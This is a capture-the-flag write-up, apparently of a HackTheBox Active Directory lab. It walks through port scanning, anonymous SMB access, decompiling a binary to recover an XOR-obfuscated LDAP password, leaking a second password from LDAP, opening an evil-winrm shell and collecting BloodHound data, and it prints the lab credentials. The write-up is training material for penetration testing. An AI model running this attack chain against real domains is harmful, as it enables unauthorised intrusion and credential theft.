

Information Gathering

1) found open ports

```
(vigneswar@VigneswarPC)-[~/temp]
$ tcpscan 10.10.11.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 14:34 IST
Nmap scan report for 10.10.11.174
Host is up (0.20s latency).
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2024-10-03 09:07:08Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf           .NET Message Framing
49664/tcp open  msrpc            Microsoft Windows RPC
49667/tcp open  msrpc            Microsoft Windows RPC
49676/tcp open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc            Microsoft Windows RPC
49704/tcp open  msrpc            Microsoft Windows RPC
49742/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-10-03T09:08:04
|_  start_date: N/A
|_ smb2-security-mode:
|   3:1:1:
|_   Message signing enabled and required
|_ clock-skew: 1s
```

2) found smb shares

```
(vigneswar@VigneswarPC)-[~]
$ smbclient -N -L '\\10.10.11.174\'

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
support-tools  Disk      support staff tools
SYSVOL         Disk      Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

3) found a custom binary

```
(vigneswar@VigneswarPC)-[~]
$ smbclient -N '\\10.10.11.174\support-tools\'
Try "help" to get a list of possible commands.
smb: \> ls
.                               D           0   Wed Jul 20 22:31:06 2022
..                              D           0   Sat May 28 16:48:25 2022
7-ZipPortable_21.07.paf.exe     A   2880728   Sat May 28 16:49:19 2022
npp.8.4.1.portable.x64.zip      A   5439245   Sat May 28 16:49:55 2022
putty.exe                      A   1273576   Sat May 28 16:50:06 2022
SysinternalsSuite.zip           A  48102161   Sat May 28 16:49:31 2022
UserInfo.exe.zip                A   277499    Wed Jul 20 22:31:07 2022
windirstat1_1_2_setup.exe       A    79171    Sat May 28 16:50:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000    Sat May 28 16:49:43 2022

                                4026367 blocks of size 4096. 963416 blocks available
smb: \> ^C
```

The screenshot displays the dnSpy v6.1.8 (64-bit, .NET) interface. The top menu bar includes File, Edit, View, Debug, Window, and Help. The Assembly Explorer on the left shows the project structure for UserInfo (1.0.0.0), including UserInfo.exe, PE, Type References, References, and various services like LdapQuery, Base Type and Interfaces, and Protected. The Protected class is selected, showing its code in the main editor. The code defines a namespace UserInfo.Services and an internal class Protected. Protected has a static method getPassword() that converts a base64 string to a byte array and returns it as a string. It also has static fields for enc_password and key.

```
1 using System;
2 using System.Text;
3
4 namespace UserInfo.Services
5 {
6     // Token: 0x02000006 RID: 6
7     internal class Protected
8     {
9         // Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
10        public static string getPassword()
11        {
12            byte[] array = Convert.FromBase64String(Protected.enc_password);
13            byte[] array2 = array;
14            for (int i = 0; i < array.Length; i++)
15            {
16                array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
17            }
18            return Encoding.Default.GetString(array2);
19        }
20
21        // Token: 0x04000005 RID: 5
22        private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmVpd3e7WhtWMyuPsyO76/Y+U193E";
23
24        // Token: 0x04000006 RID: 6
25        private static byte[] key = Encoding.ASCII.GetBytes("armando");
26    }
27 }
28
```

ldap:nvEfEK16^1aM4\$e7AcUf8x\$tRWxPWO1%lmz

5) Found a credential

```
(vigneswar@VigneswarPC)-[~/temp]
$ ldapsearch -H 'ldap://10.10.11.174/' -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AcUf8x$tRWxPWO1%lmz' -b 'dc=support,dc=htb' '(cn=support)'
# extended LDIF
#
# LDAPv3
# base <dc=support,dc=htb> with scope subtree
# filter: (cn=support)
# requesting: ALL
#
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 3
codePage: 0
```

support:Ironside47pleasure40Watchful

Exploitation

1) Connected with evilwinrm

```
(vigneswar@VigneswarPC)-[~]
$ evil-winrm -i 10.10.11.174 -u support --password 'Ironside47pleasure40Watchful'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> |
```

Privilege Escalation

1) Collected bloodhound data

```
Display version information.*Evil-WinRM* PS C:\Users\support\Desktop> ./SharpHound.exe -d support.htb
2024-10-03T04:17:40.7358602-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-10-03T04:17:40.8608589-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTa
rgets, PSRemote, CertServices
2024-10-03T04:17:40.8921181-07:00|INFORMATION|Initializing SharpHound at 4:17 AM on 10/3/2024
2024-10-03T04:17:40.9859398-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertS
ervices
2024-10-03T04:17:41.0639992-07:00|INFORMATION|Beginning LDAP search for support.htb
2024-10-03T04:17:41.1108609-07:00|INFORMATION|Beginning LDAP search for support.htb Configuration NC
2024-10-03T04:17:41.1264830-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-10-03T04:17:41.1264830-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-10-03T04:17:41.4389876-07:00|INFORMATION|Consumers finished, closing output channel
2024-10-03T04:17:41.4702352-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-10-03T04:17:41.6264840-07:00|INFORMATION|Status: 312 objects finished (+312 Infinity)/s -- Using 40 MB RAM
2024-10-03T04:17:41.6264840-07:00|INFORMATION|Enumeration finished in 00:00:00.5707154
2024-10-03T04:17:41.6733607-07:00|INFORMATION|Saving cache with stats: 16 ID to type mappings.
0 name to SID mappings.
1 machine sid mappings.
3 sid to domain mappings.
0 global catalog mappings.
2024-10-03T04:17:41.7046105-07:00|INFORMATION|SharpHound Enumeration Completed at 4:17 AM on 10/3/2024! Happy Graphing!
*Evil-WinRM* PS C:\Users\support\Desktop> ls

Directory: C:\Users\support\Desktop

Mode                LastWriteTime         Length Name
----                -
d-----          10/3/2024   4:11 AM                support
-a-----          10/3/2024   4:17 AM             25770 20241003041741_BloodHound.zip
-a-----          10/3/2024   4:16 AM             1556480 SharpHound.exe
-ar-----          10/3/2024   1:33 AM              34 user.txt
-a-----          10/3/2024   4:17 AM             1324 YzgyNDA2MjMtMDk1ZC00NGYxLTk3ZjU0MmZmZmZmZWVLOWFi.bin
```

```
*Evil-WinRM* PS C:\Users\support\Desktop> download 20241003041741_BloodHound.zip

Info: Downloading C:\Users\support\Desktop\20241003041741_BloodHound.zip to 20241003041741_BloodHound.zip

Info: Download successful!
*Evil-WinRM* PS C:\Users\support\Desktop> |
```

2) We have remote login privileges

127.0.0.1:8080/ui/explore

BLOODHOUND
COMMUNITY EDITION

EXPLORE

GROUP MANAGEMENT

SEARCH

PATHFINDING

CYPHER

SUPPORT@SUPPORT.HTB

DC.SUPPORT.HTB

CanPSRemote

SUPPORT@SUPPORT.HTB

Layout

Export

Search Current Results

SUPPORT@SUPPORT.HTB

Object Information

Object ID: S-1-5-21-1677581083-3380853377-188903654-1105

ACL Inheritance Denied: FALSE

Admin Count: FALSE

Allows Unconstrained Delegation: FALSE

Created: 2022-05-28 09:42 GMT+5:30 (GMT+0530)

Distinguished Name: CN=SUPPORT,CN=USERS,DC=SUPPORT,DC=HTB

Do Not Require Pre-Authentication: FALSE

Domain FQDN: SUPPORT.HTB

Domain SID: S-1-5-21-1677581083-3380853377-188903654

Enabled: TRUE

Last Collected by BloodHound: 2024-10-03 18:01 GMT+5:30 (GMT+0530)

Last Logon (Replicated): 2024-10-03 14:32 GMT+5:30 (GMT+0530)

Last Logon: 2024-10-03 15:12 GMT+5:30 (GMT+0530)